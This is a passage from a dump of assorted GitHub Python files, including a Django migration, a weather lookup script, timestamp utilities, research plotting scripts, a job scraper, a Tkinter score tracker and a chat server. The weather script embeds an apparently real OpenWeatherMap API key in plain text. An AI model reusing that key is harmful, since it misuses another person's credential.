-*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations, models\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ]\n\n operations = [\n migrations.CreateModel(\n name='BasalBodyTemperature',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('temperature', models.PositiveSmallIntegerField()),\n ('scale', models.CharField(default=b'F', max_length=1, choices=[(b'F', b'Fahrenheit'), (b'C', b'Celsius')])),\n ],\n ),\n migrations.CreateModel(\n name='Cervical',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ],\n ),\n migrations.CreateModel(\n name='Period',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ],\n ),\n ]\n","repo_name":"Guin-/femstats","sub_path":"femstats/fertility/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":1075,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"9046575494","text":"from django import template\nfrom django.conf import settings\n\nregister = template.Library()\n\nPIWIK_ENABLED = getattr(settings, 'PIWIK_ENABLED', False)\nPIWIK_URL = getattr(settings, 'PIWIK_URL', 'stat.garage22.net')\nPIWIK_SITE_ID = getattr(settings, 'PIWIK_SITE_ID', '9')\n\n\n@register.inclusion_tag('cpm_common/tags/piwik.html')\ndef piwik():\n return {\n 'piwik_enabled': PIWIK_ENABLED,\n 'piwik_url': PIWIK_URL,\n 'piwik_site_id': PIWIK_SITE_ID,\n }\n","repo_name":"kinaklub/filmfest.by","sub_path":"apps/cpm_common/templatetags/piwik_tags.py","file_name":"piwik_tags.py","file_ext":"py","file_size_in_byte":471,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"14848854472","text":"import requests\r\nimport json\r\n\r\n\r\ndef wetter():\r\n api_key = \"d81d9d72e6493efd45ca40c540b2bf34\"\r\n city = input(\"Hallo! Bitte gib eine Stadt ein: \")\r\n url = f'https://api.openweathermap.org/data/2.5/weather?q={city}&appid={api_key}&units=metric' \r\n data = requests.get(url).json()\r\n temperatur = data['main']['temp']\r\n feuchtigkeit = data['main']['humidity'] \r\n print(\"Hier in\", city, \"ist gerade\",temperatur, \"grad und die Feuchtigkeit betraegt:\", feuchtigkeit,\"fi\")\r\n \r\n\r\nwetter()\r\n\r\n ","repo_name":"KNetSecEng/Weather_Project","sub_path":"wether.py","file_name":"wether.py","file_ext":"py","file_size_in_byte":514,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"5195620089","text":"import gym\n\nID = \"Pendulum-v0\"\n\n# Customize environment\ndef gym_env(ID):\n env = gym.make(ID)\n return env\n\n\nif __name__ == '__main__':\n env = gym_env('Pendulum-v0')\n env.reset()\n print(env.action_space)\n # while True: # 코드를 멈춰서 꺼줘야 함...\n # env.reset()\n # while True:\n # env.render()\n # action = env.action_space.sample()\n # observation, reward, done, info = env.step(action)\n # if done:\n # break\n env.close()","repo_name":"ERU1206/pg-travel-torch","sub_path":"environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"33726351721","text":"from __future__ import annotations\n\nimport typing\n\nfrom .. import spec\nfrom .. import timefrequency_utils\nfrom .. import timelength_utils\nfrom . import timestamp_convert\n\n\ndef summarize_timestamps(\n timestamps: typing.Sequence[spec.Timestamp],\n) -> spec.TimestampSummary:\n \"\"\"create summary of timestamps\n\n ## Inputs\n - timestamps: iterable of Timestamp\n \"\"\"\n\n timestamps_precise: typing.List[spec.TimestampSecondsPrecise] = []\n for timestamp in timestamps:\n precise = timestamp_convert.timestamp_to_seconds_precise(timestamp)\n timestamps_precise.append(precise)\n\n n_t = len(timestamps)\n summary: spec.TimestampSummary = {'n_t': n_t}\n\n if n_t == 1:\n summary['start'] = timestamps_precise[0]\n summary['end'] = timestamps_precise[0]\n\n elif n_t > 1:\n if timestamps_precise[-1] < timestamps_precise[0]:\n timestamps_precise = timestamps_precise[::-1]\n\n n_unique = len(set(timestamps_precise))\n resolution = timefrequency_utils.detect_resolution(timestamps_precise)\n if resolution is None:\n raise Exception('could not detect resolution')\n start = timestamp_convert.timestamp_to_label(timestamps_precise[0])\n end = timestamp_convert.timestamp_to_label(timestamps_precise[-1])\n duration = timestamps_precise[-1] - timestamps_precise[0]\n duration_label = timelength_utils.timelength_seconds_to_clock_phrase(\n duration\n )\n n_large_outliers = resolution['outliers']['large'].shape[0]\n n_small_outliers = resolution['outliers']['small'].shape[0]\n n_outliers = n_large_outliers + n_small_outliers\n\n if resolution['median_dt'] > 0.0001:\n import numpy as np\n\n n_ideal_iter = np.arange(\n timestamps_precise[0],\n timestamps_precise[-1] + resolution['median_dt'],\n resolution['median_dt'],\n )\n n_ideal = list(n_ideal_iter)\n summary['n_missing'] = len(n_ideal) - len(timestamps_precise)\n else:\n summary['n_missing'] = None\n\n summary['n_unique'] = n_unique\n summary['resolution'] = resolution\n summary['start'] = start\n summary['end'] = end\n summary['duration'] = duration\n summary['duration_label'] = duration_label\n summary['n_large_outliers'] = n_large_outliers\n summary['n_small_outliers'] = n_small_outliers\n summary['n_outliers'] = n_outliers\n\n return summary\n\n\ndef print_timestamp_summary(\n *,\n timestamps: typing.List[spec.Timestamp] | None = None,\n summary: spec.TimestampSummary | None = None,\n indent: str | None = None,\n print_kwargs: typing.Mapping[str, typing.Any] | None = None\n) -> None:\n \"\"\"print summary of timestamps\n\n - specify either timestamps or summary\n - timestamps should be ordered\n - todo: do not require ordering\n\n ## Inputs\n - timestamps: iterable of Timestamp\n - summary: dict summary created by summarize_timestamps()\n - indent: str indent of each line in summary\n - print_kwargs: kwargs passed to print()\n \"\"\"\n\n # validate inputs\n if indent is None:\n indent = ''\n if print_kwargs is None:\n print_kwargs = {}\n\n # create summary if not provided\n if summary is None:\n if timestamps is None:\n raise Exception('must specify timestamps or summary')\n summary = summarize_timestamps(timestamps)\n\n n_t = summary['n_t']\n print(indent + 'n_t:', n_t, **print_kwargs)\n\n if n_t == 1:\n print(indent + 'timestamp:', summary['start'], **print_kwargs)\n\n elif n_t > 1:\n\n n_unique = summary['n_unique']\n resolution = summary['resolution']\n start = summary['start']\n end = summary['end']\n duration = summary['duration']\n duration_label = summary['duration_label']\n n_large_outliers = summary['n_large_outliers']\n n_small_outliers = summary['n_small_outliers']\n n_outliers = summary['n_outliers']\n n_missing = summary['n_missing']\n outlier_rtol = resolution['outliers']['outlier_rtol']\n mean_dt = timelength_utils.timelength_to_label(duration / (n_t - 1))\n\n print(indent + 'n_unique:', n_unique, **print_kwargs)\n print(indent + 'extent:')\n print(\n ' ' + indent + 'start:',\n start,\n '(' + ('%.14g' % summary['start']) + ')',\n **print_kwargs\n )\n print(\n ' ' + indent + 'end: ',\n end,\n '(' + ('%.14g' % summary['end']) + ')',\n **print_kwargs\n )\n print(\n ' ' + indent + 'duration:',\n duration_label,\n '(' + ('%.14g' % duration) + ' s)',\n **print_kwargs\n )\n print(indent + 'resolution:', **print_kwargs)\n print(\n ' ' + indent + 'median_dt:', resolution['label'], **print_kwargs\n )\n print(' ' + indent + 'mean_dt:', mean_dt, **print_kwargs)\n print(\n ' ' + indent + 'missing timestamps:',\n n_missing,\n '(if median_dt maintained)',\n **print_kwargs\n )\n print(' ' + indent + 'outlier_dts:', n_outliers, **print_kwargs)\n print(\n ' ' + indent + 'small:',\n n_small_outliers,\n ' dt < median_dt / (1 + outlier_rtol)',\n **print_kwargs\n )\n print(\n ' ' + indent + 'large:',\n n_large_outliers,\n ' dt > median_dt * (1 + outlier_rtol)',\n **print_kwargs\n )\n print(\n ' ' + indent + '(outlier_rtol =',\n str(outlier_rtol) + ')',\n **print_kwargs\n )\n\n","repo_name":"sslivkoff/tooltime","sub_path":"tooltime/timestamp_utils/timestamp_introspect.py","file_name":"timestamp_introspect.py","file_ext":"py","file_size_in_byte":5800,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"71542347288","text":"# coding: utf-8\nimport sys\nimport glob, os\nimport numpy as np\nimport array\nimport matplotlib.pyplot as plt\nfrom magenta.models.nsynth import utils\nimport subprocess\nimport librosa\nimport librosa.display\nfrom sklearn.cluster import KMeans\nimport numpy as np\nfrom scipy.io.wavfile import write\nimport matplotlib.pyplot as plt\n\ndef main():\n plt.figure()\n video_index = '3229'\n root_folder = '/home/yuanxin/Downloads/viola_data/baseline_result/'\n os.chdir(root_folder)\n origin_name = './Origin_wave/' + video_index + '.wav'\n vgg_name = './VGG_wave/' + video_index + '.wav'\n gan_name = './GAN_wave/' + video_index + '.wav'\n\n sr = 16000\n cnt = 0\n audio_name_all = [origin_name,vgg_name,gan_name]\n for i in audio_name_all:\n audio = utils.load_audio(i, 5*sr, sr=sr)\n cnt += 1\n plt.subplot(6,1,cnt)\n plt.plot(audio)\n spec = utils.specgram(audio,\n n_fft=512,\n hop_length=None,\n mask=True,\n log_mag=True,\n re_im=False,\n dphase=True,\n mag_only=False)\n dphase = spec[:,:,1]\n cnt += 1\n plt.subplot(6,1,cnt)\n librosa.display.specshow(dphase)\n plt.show()\n\n \nif __name__ == \"__main__\":\n main()\n\n\n","repo_name":"yuanx520/test_repo","sub_path":"scripts/visualize_audio_video.py","file_name":"visualize_audio_video.py","file_ext":"py","file_size_in_byte":1317,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"8750220884","text":"\nimport time\nimport ctypes\nimport threading\nimport configparser\nimport numpy as np\nimport queue\nimport logging\nfrom distutils.util import strtobool\n\n# everything is in MHz (microseconds)\n\nfrom .s826board import S826Board, errhandle\n\nclass ZeroPointProducerThread(threading.Thread):\n \"\"\" Zero Point Producer Thread \"\"\"\n \n def __init__(self, board, config, queue, shutdown_queue, **kwargs):\n self.__dict__.update(**kwargs)\n threading.Thread.__init__(self)\n\n self.board = board\n self.countzeropoint = int(config['counter.zeropt']['counter_num'])\n self.queue = queue\n self.shutdown_flag = False\n\n self.local_dir = config['readout.local']['zeroptdir']\n self.datalog(self.local_dir)\n\n def datalog(self, dir):\n self.zeroptlog = logging.getLogger('ZeroPointLogger')\n\n self.zeroopthandler = logging.handlers.TimedRotatingFileHandler(f'{dir}/data', \n when='midnight', backupCount=5)\n self.zeroptlog.addHandler(self.zeroopthandler)\n self.zeroptlog.setLevel(logging.INFO)\n\n\n def run(self):\n print(f'Starting: {threading.current_thread().name}')\n counts = ctypes.c_uint() \n tstamp = ctypes.c_uint() \n reason = ctypes.c_uint()\n\n counts_ptr = ctypes.pointer(counts)\n tstamp_ptr = ctypes.pointer(tstamp)\n reason_ptr = ctypes.pointer(reason)\n\n # read again\n errcode = self.board.s826_dll.S826_CounterSnapshotRead(\n self.board.board_id, self.countzeropoint,\n counts_ptr, tstamp_ptr, \n reason_ptr, 0\n )\n\n self.counter = 0\n self.errors = 0\n while not self.shutdown_flag:\n\n # read \n errcode = self.board.s826_dll.S826_CounterSnapshotRead(\n self.board.board_id, self.countzeropoint ,\n counts_ptr, tstamp_ptr, \n reason_ptr, 0\n )\n\n while errcode in (0, -15):\n # insert value into queue\n \n self.queue.put((tstamp.value, counts.value, int(time.time())))\n #self.zeroptlog.info(f'{tstamp.value}\\t{counts.value}\\t{int(time.time())}')\n self.counter += 1\n if self.counter > 3:\n #prev_tstamp, prev_counts, _ = self.queue.queue[-2]\n #curr_tstamp, curr_counts, _ = self.queue.queue[-1]\n #diff = curr_tstamp - prev_tstamp \n pass\n #print(f\"{tstamp.value} , {counts.value}, Diff: {diff}\")\n \n \n # if an overflow occurred, record it\n if errcode == -15:\n self.errors += 1\n\n # continue reading until there is a S826_ERR_NOTREADY\n # Device was busy or unavailable, or blocking function timed out.\n errcode = self.board.s826_dll.S826_CounterSnapshotRead(\n self.board.board_id, self.countzeropoint ,\n counts_ptr, tstamp_ptr, \n reason_ptr, 0\n )\n # pause when there is blocking\n time.sleep(0.2)\n\n print(f'Ending (Zeropt): {threading.current_thread().name}')\n\nif __name__ == '__main__':\n\n # load configuration file\n config = configparser.ConfigParser()\n configfile = 'testconfig.ini'\n config.read(configfile)\n \n test_S826Board = S826Board(config)\n test_S826Board.configure()\n\n test_ZeroPointThread = ZeroPointProducerThread(test_S826Board, config, queue.Queue(maxsize=-1), queue.Queue(maxsize=-1))\n test_ZeroPointThread.setName('TestZeroPointThread-1')\n test_ZeroPointThread.start()\n test_ZeroPointThread.join()\n\n # close thread\n test_S826Board.close()\n","repo_name":"toltec-astro/TolTECHWP","sub_path":"controller/readout/zeropt.py","file_name":"zeropt.py","file_ext":"py","file_size_in_byte":3780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"3368531568","text":"#%%\nfrom collections import defaultdict\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfor suffix, title_suffix in [('', ''), ('_large_pool', '(Large Pool)'), ('_matched', '(Matched Frequency)'), ('_cataphor', '(Cataphor Prompt)')]:\n dfs = {}\n\n results = defaultdict(list)\n models = ['gpt2',\n 'gpt2-medium',\n 'gpt2-large',\n 'gpt2-xl',\n 'opt-2.7b',\n 'opt-6.7b',\n 'opt-13b',\n 'llama-7B',\n 'llama-13B',\n 'llama-30B',\n ]\n model_aliases_linebreak = {'gpt2':'GPT-2\\nSmall',\n 'gpt2-medium':'GPT-2\\nMedium',\n 'gpt2-large': 'GPT-2\\nLarge',\n 'gpt2-xl': 'GPT-2\\nXL',\n 'opt-2.7b': 'OPT\\n2.7B',\n 'opt-6.7b': 'OPT\\n6.7B',\n 'opt-13b': 'OPT\\n13B',\n 'llama-7B': 'LLaMA\\n7B',\n 'llama-13B': 'LLaMA\\n13B',\n 'llama-30B': 'LLaMA\\n30B',\n }\n for model in models:\n df = pd.read_csv(f'experiment3/{model}{suffix}.csv')\n verb_df = df[df.prompt_type == 'VERB'] \n dfs[model] = df\n\n results['model'].append(model)\n results['$D_{KL}(A||O)$'].append(df['animate_no_context_experimental_kl'].mean())\n results['$D_{KL}(I||O)$'].append(df['inanimate_no_context_experimental_kl'].mean())\n results['$D_{KL}(A||I)$'].append(df['animate_no_context_inanimate_no_context_kl'].mean())\n \n results['$D_{KL}(A||O)$_std'].append(df['animate_no_context_experimental_kl'].std())\n results['$D_{KL}(I||O)$_std'].append(df['inanimate_no_context_experimental_kl'].std())\n results['$D_{KL}(A||I)$_std'].append(df['animate_no_context_inanimate_no_context_kl'].std())\n \n\n plt.style.use('ggplot')\n plt.rcParams['text.usetex'] = True\n df = pd.DataFrame.from_dict(results)\n df = df.set_index('model')\n yerr = df[['$D_{KL}(A||O)$_std', '$D_{KL}(I||O)$_std', '$D_{KL}(A||I)$_std']].std(axis=1).to_numpy().T * 2 / 100\n ax = df[['$D_{KL}(A||O)$', '$D_{KL}(I||O)$', '$D_{KL}(A||I)$']].plot.bar(yerr=yerr)\n\n ax.set_xticklabels([model_aliases_linebreak[model] for model in models])\n ax.xaxis.set_tick_params(rotation=0)\n ax.set_xlabel('Model')\n ax.xaxis.label.set_color('black')\n ax.tick_params(axis='x', colors='black')\n ax.yaxis.label.set_color('black')\n ax.tick_params(axis='y', colors='black')\n\n ax.set_ylabel('KL Divergence')\n ax.set_title(f'Mean KL Divergences by Model{title_suffix}')\n fig = ax.get_figure()\n fig.tight_layout()\n fig.show()\n fig.savefig(f'paper-plots/exp3_all{suffix}.pdf')\n","repo_name":"hannamw/lms-in-love","sub_path":"code/results/whole_exp3_plots.py","file_name":"whole_exp3_plots.py","file_ext":"py","file_size_in_byte":2617,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"72683515928","text":"import numpy as np\nimport pandas as pd\nimport tensorflow as tf\nimport gc\nimport pickle\n\nfrom os.path import join, exists\nfrom os import listdir, makedirs\nfrom sklearn.cluster import AgglomerativeClustering\nfrom sklearn.metrics import silhouette_score\n\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nimport shutil\n\n\nimport argparse\nparser = argparse.ArgumentParser()\nparser.add_argument('--labels_identifier', default='project_code')\nparser.add_argument('--data_dir', default='data_excl_11_cnt')\nparser.add_argument('--method', default='sudl_norm')\nparser.add_argument('--numAtoms', type=int, default=20)\nparser.add_argument('--train_set', default='all')\nparser.add_argument('--ifold', type=int, default=0)\nparser.add_argument('--alpha', type=float, default=1)\nargs = parser.parse_args()\n\nlabels_identifier = args.labels_identifier\ndata_dir = args.data_dir\nmethod = args.method\nnumAtoms = args.numAtoms\ntrain_set = args.train_set\nifold = args.ifold\nalpha = args.alpha\n\nicgc_path = '/cluster/work/grlab/projects/projects2019_mutsig-SNBNMF'\nmax_sil_score = 0\nmin_mae = float('Inf')\nmax_acc = 0\nopt_lst_acc = None\nopt_lst_mae = None\nbest_numAtoms = None\nbest_res_path = None\n\nout_path = join(icgc_path, labels_identifier+'_labels', data_dir.replace('data', 'opt_SuDL_res'), method)\nif not exists(out_path):\n makedirs(out_path)\n\nX, Y, _, _, _ = pickle.load(open(join(icgc_path, labels_identifier+'_labels', data_dir, \n 'run%d.pkl'%ifold), 'rb'))\nif 'data_all' not in data_dir:\n X = np.hstack((X['train'], X['val'], X['test']))\n Y = np.vstack((Y['train'], Y['val'], Y['test']))\n \nY = np.argmax(Y, axis=1)\n\n\nall_mae = []\nall_sil = []\nlst_numAtoms = np.arange(35,41,1)\nX_nan = X.astype(float)\nX_nan[X_nan==0] = float('NaN')\n\n\nfor numAtoms in lst_numAtoms:\n res_path = join(icgc_path, labels_identifier+'_labels', data_dir.replace('data', 'res'), method, \n 'numAtoms_%d'%numAtoms, '%s%d'%(train_set, ifold))\n \n\n lst_seed = set()\n lst_foi = []\n for ff in listdir(res_path):\n if 'a-%g'%alpha not in ff:\n continue\n opt_f = ff\n if len(lst_seed)==0:\n lst_seed = set([int(f.split('-')[-1]) for f in listdir(join(res_path, ff)) if 'seed' in f])\n else:\n lst_seed = lst_seed & set([int(f.split('-')[-1]) for f in listdir(join(res_path, ff)) if 'seed' in f])\n print(set([int(f.split('-')[-1]) for f in listdir(join(res_path, ff)) if 'seed' in f]))\n lst_foi.append(ff)\n\n lst_seed = np.sort(list(lst_seed))\n\n lst_av_mae = []\n lst_f = []\n for ff in lst_foi:\n dictionary = []\n oxog_sig = []\n acc = []\n gacc = []\n mae = []\n for seed in lst_seed:\n f = 'seed-%d'%seed\n try:\n results = np.load(join(res_path, ff, f, 'results.npz'))\n except:\n mae.append(float('NaN'))\n continue\n MAE = np.nanmean(np.abs(X - np.round(np.dot(results['dictionary'], results['z'])))/X_nan)\n# mae.append(results['mae'])\n mae.append(MAE)\n\n lst_av_mae.append(mae)\n\n lst_f.append(ff)\n\n lst_av_mae = np.array(lst_av_mae)\n\n\n dictionary = []\n mae = []\n for i, seed in enumerate(lst_seed):\n f = 'seed-%d'%seed\n results = np.load(join(res_path, opt_f, f, 'results.npz'))\n if np.isnan(results['dictionary']).sum() == results['dictionary'].size:\n continue\n dictionary.append(results['dictionary']) \n MAE = np.nanmean(np.abs(X - np.round(np.dot(results['dictionary'], results['z'])))/X_nan)\n# mae.append(results['mae'])\n mae.append(MAE)\n if len(dictionary)==0:\n continue\n print(lst_seed)\n dictionary = np.hstack(tuple(dictionary))\n\n\n model = AgglomerativeClustering(n_clusters=numAtoms, \n affinity='cosine', \n linkage='complete')\n\n cluster_indices = model.fit_predict(dictionary.T)\n sil_score = silhouette_score(dictionary.T, cluster_indices)\n\n av_dictionary = np.zeros((len(dictionary), cluster_indices.max()+1))\n av_z = np.zeros((cluster_indices.max()+1, ))\n\n for i in range(cluster_indices.max()+1):\n av_dictionary[:,i] = np.mean(dictionary[:,cluster_indices==i], axis=1)\n\n print('# Atoms', numAtoms, '# run', len(mae), \n 'Silhouette score', '%3.3f'%sil_score, \n 'MAE', '%3.3f (%3.3f)'%(np.mean(mae),np.std(mae)))\n all_mae.append(np.mean(mae))\n all_sil.append(sil_score)\n \n best_res_path = join(res_path, opt_f)\n np.savez(join(out_path, 'numAtoms_%d_%s_a-%g.npz'%(numAtoms,train_set, alpha)), \n dictionary=av_dictionary, \n sil_score=sil_score, \n mae=mae,\n path=best_res_path,\n lst_seed=lst_seed)\n\n\nplt.figure()\nplt.plot(lst_numAtoms, all_mae, '.-', color='C0')\nplt.ylabel('Mean Absolute Error', color='C0', fontweight='bold')\nax2 = plt.gca().twinx()\nplt.plot(lst_numAtoms, all_sil, '.-', color='C1')\nplt.ylabel('Silhouette score', color='C1', fontweight='bold')\nplt.xlabel('# Atoms')\nplt.show()\nplt.close()\n\n\n\n\n","repo_name":"ratschlab/SNBNMF-mutsig-public","sub_path":"models/eval_nbnmf.py","file_name":"eval_nbnmf.py","file_ext":"py","file_size_in_byte":5174,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"31"} +{"seq_id":"9354177087","text":"# C++不熟练,失败了,先用python实现\nimport queue\nimport time\nstring = \"[({})](][](()){}{}{}{}}{\"\n\n# 这个代码的思路就是创建一个lifo模型,然后查到返向括号就提取,用来判断是否正确闭合\ndef validBraces(string):\n dic = {'(': ')', '[': ']', '{': '}'}\n List = queue.LifoQueue()\n for i in string:\n if i == '(' or i == '{' or i == '[':\n List.put(i)\n else:\n if i != dic[List.get()]:\n return False\n else:\n continue\n return True\n\n# 使用另一套思路,用x, z, d代表三个括号,每一次循环这三个数都必须为正数,小于0就说明未闭合,来做一下\ndef validBraces2(string):\n x, z, d = 0, 0, 0\n for i in string:\n if i == '(':\n x += 1\n if i == '[':\n z += 1\n if i == '{':\n d += 1\n if i == ')':\n x -= 1\n if i == ']':\n z -= 1\n if i == '}':\n d -= 1\n if x < 0 or z < 0 or d < 0:\n return False\n break\n if x == 0 and z == 0 and d == 0:\n return True\n else:\n return False\n\nif __name__ == \"__main__\":\n begin1 = time.time()\n print(validBraces(string))\n over1 = time.time()\n print((over1 - begin1) * 10 ** 9)\n begin2 = time.time()\n print(validBraces2(string))\n over2 = time.time()\n print((over2 - begin2) * 10 ** 9)\n #方法二效率得到显著提高","repo_name":"tianxiongWang/codewars","sub_path":"Braces.py","file_name":"Braces.py","file_ext":"py","file_size_in_byte":1485,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32897683770","text":"from bs4 import BeautifulSoup\nimport requests\nimport os\nimport re\nos.system('clear')\n\ndef deEmojify(text):\n regrex_pattern = re.compile(pattern = \"[\"\n u\"\\U0001F600-\\U0001F64F\" # emoticons\n u\"\\U0001F300-\\U0001F5FF\" # symbols & pictographs\n u\"\\U0001F680-\\U0001F6FF\" # transport & map symbols\n u\"\\U0001F1E0-\\U0001F1FF\" # flags (iOS)\n \"]+\", flags = re.UNICODE)\n return regrex_pattern.sub(r'',text)\n\n\n\n\ndef roScan(term):\n print(\"Scrapping RemoteOk...\")\n url =f\"https://remoteok.io/remote-{term}-jobs\"\n results = requests.get(url,headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36'})\n soup = BeautifulSoup(results.text, 'html.parser')\n soup = soup.find(\"table\",id=\"jobsboard\").find_all(\"tr\",class_=\"remoteok-original\")\n ro_result=[]\n for t in soup:\n tagName = \"\"\n if t.find(\"span\",class_=\"closed tooltip-set\"):\n continue\n else:\n if t.find(\"a\", class_=\"companyLink\").find(\"h3\"):\n comp = t.find(\"a\", class_=\"companyLink\").find(\"h3\").string\n if t.find(\"h2\", attrs={\"itemprop\": \"title\"}):\n title = t.find(\"h2\", attrs={\"itemprop\": \"title\"}).string\n if t.find(\"div\",class_=\"location\"):\n loca = deEmojify(t.find(\"div\",class_=\"location\").string)\n if t.find(\"h2\", attrs={\"itemprop\": \"title\"}).parent:\n href=t.find(\"h2\", attrs={\"itemprop\": \"title\"}).parent.get(\"href\")\n href=\"https://remoteok.io/\"+href\n if t.find(\"a\", class_=\"no-border tooltip-set\"):\n keyTag= t.find_all(\"div\",class_=\"tag\")\n for kt in keyTag:\n keyword = kt.get(\"class\")[1].replace(\"tag-\",\"\")\n tagName +=f\"{keyword},\"\n try:\n tagName += loca\n except:\n pass\n if t.find(\"time\"):\n listed = deEmojify(t.find(\"time\").get_text(strip=True))\n ro_result.append({\"Source\":\"RemoteOk\", \"company\":comp,\"Title\":title,\"k\":tagName,\"listed\":listed,\"link\":href})\n print(\"RemoteOk: Scrapping Finished\")\n print(f\"Scrapped {len(ro_result)} jobs\")\n return ro_result\n ","repo_name":"nslupysz/job_scrapper","sub_path":"scrappers/ro.py","file_name":"ro.py","file_ext":"py","file_size_in_byte":2121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34505367734","text":"import Tkinter\nimport sqlite3\nimport time\n\nclass MKTracker(Tkinter.Frame):\n track_list = (\"Bowser's Castle\",\"Coconut Mall\",\"Daisy Circuit\",\"DK Summit\",\"Dry Dry Ruins\",\"DS Delfino Square\",\"DS Desert Hills\",\"DS Peach Gardens\",\"DS Yoshi Falls\",\"GBA Bowser Castle 3\",\"GBA Shy Guy Beach\",\"GCN DK Mountain\",\"GCN Mario Circuit\",\"GCN Peach Beach\",\"GCN Waluigi Stadium\",\"Grumble Volcano\",\"Koopa Cape\",\"Luigi Circuit\",\"Maple Treeway\",\"Mario Circuit\",\"Moo Moo Meadows\",\"Moonview Highway\",\"Mushroom Gorge\",\"N64 Bowser's Castle\",\"N64 DK's Jungle Parkway\",\"N64 Mario Raceway\",\"N64 Sherbert Land\",\"Rainbow Road\",\"SNES Ghost Valley 2\",\"SNES Mario Circuit 3\",\"Toad's Factory\",\"Wario's Gold Mine\")\n types = (\"100\",\"150\",\"Mirrored\")\n\n def __init__(self, parent):\n Tkinter.Frame.__init__(self, parent)\n self.db = sqlite3.connect(\"mk.db\")\n self.cursor = self.db.cursor()\n self.cursor.execute(\"CREATE TABLE IF NOT EXISTS mk_data (time string, num_players integer, type string, track string, rank integer, d_score integer, f_score integer, b_score integer)\")\n self.init_ui()\n\n def init_ui(self):\n self.pack(fill=Tkinter.BOTH, expand=1)\n\n self.num_players = Tkinter.StringVar()\n Tkinter.Label(self, text=\"Number of Players:\").grid(sticky=Tkinter.E, row=0, column=0, padx=5, pady=5)\n Tkinter.Entry(self, textvariable=self.num_players).grid(sticky=Tkinter.E+Tkinter.W, row=0, column=1, padx=5, pady=5)\n\n self.type = Tkinter.StringVar()\n self.type.set(self.types[0])\n Tkinter.Label(self, text=\"Type:\").grid(sticky=Tkinter.E, row=1, column=0, padx=5, pady=5)\n Tkinter.OptionMenu(self, self.type, *self.types).grid(sticky=Tkinter.E+Tkinter.W, row=1, column=1, padx=5, pady=5)\n\n self.track = Tkinter.StringVar()\n self.track.set(self.track_list[0])\n Tkinter.Label(self, text=\"Track:\").grid(sticky=Tkinter.E, row=2, column=0, padx=5, pady=5)\n Tkinter.OptionMenu(self, self.track, *self.track_list).grid(sticky=Tkinter.E+Tkinter.W, row=2, column=1, padx=5, pady=5)\n\n self.rank = Tkinter.StringVar()\n Tkinter.Label(self, text=\"Rank:\").grid(sticky=Tkinter.E, row=3, column=0, padx=5, pady=5)\n Tkinter.Entry(self, textvariable=self.rank).grid(sticky=Tkinter.E+Tkinter.W, row=3, column=1, padx=5, pady=5)\n\n self.d_score = Tkinter.StringVar()\n Tkinter.Label(self, text=\"Delta Score:\").grid(sticky=Tkinter.E, row=4, column=0, padx=5, pady=5)\n Tkinter.Entry(self, textvariable=self.d_score).grid(sticky=Tkinter.E+Tkinter.W, row=4, column=1, padx=5, pady=5)\n\n self.f_score = Tkinter.StringVar()\n Tkinter.Label(self, text=\"Final Score:\").grid(sticky=Tkinter.E, row=5, column=0, padx=5, pady=5)\n Tkinter.Entry(self, textvariable=self.f_score).grid(sticky=Tkinter.E+Tkinter.W, row=5, column=1, padx=5, pady=5)\n\n Tkinter.Button(self, text=\"Add\", command=self.add_entry).grid(sticky=Tkinter.W+Tkinter.E, row=6, columnspan=2, padx=5, pady=5)\n\n def add_entry(self):\n b_score = int(self.f_score.get()) + -int(self.d_score.get())\n input_data = (time.time(),\n self.num_players.get(),\n self.type.get(),\n self.track.get(),\n self.rank.get(),\n self.d_score.get(),\n self.f_score.get(),\n str(b_score)\n )\n self.cursor.execute(\"INSERT INTO mk_data VALUES (?,?,?,?,?,?,?,?)\", input_data)\n self.db.commit()\n\n\n\nif __name__ == '__main__':\n root = Tkinter.Tk()\n root.title(\"Mario Kart Tracker\")\n MKTracker(root)\n root.mainloop()","repo_name":"sc0tt/MKWTracker","sub_path":"MKTracker.pyw","file_name":"MKTracker.pyw","file_ext":"pyw","file_size_in_byte":3502,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"10589984689","text":"\nimport select,socket,argparse,threading,os\nfrom client import Client\n\n#all commands and how to use them\ncommands = [\"!rooms\",\"!online\",\"!join\",\"!instructions\",\"!leave\"]\ninstructions = \"Instructions:\\n\"\\\n + \"!rooms to list all rooms\\n\"\\\n + \"!online to show online users\\n\" \\\n + \"!join [room_name] to join/create/switch to a room\\n\" \\\n + \"!instructions to show instructions\\n\" \\\n + \"!leave to leave current room and/or to exit the server\\n\"\n\nclass Server:\n def __init__(self,listening_socket,client_connections):\n self.listening_socket = listening_socket\n self.client_connections = client_connections #all clients sockets\n self.rooms = {} # {room_name: Room}, links room_name to Room object\n self.client_rooms = {} # {client name: room 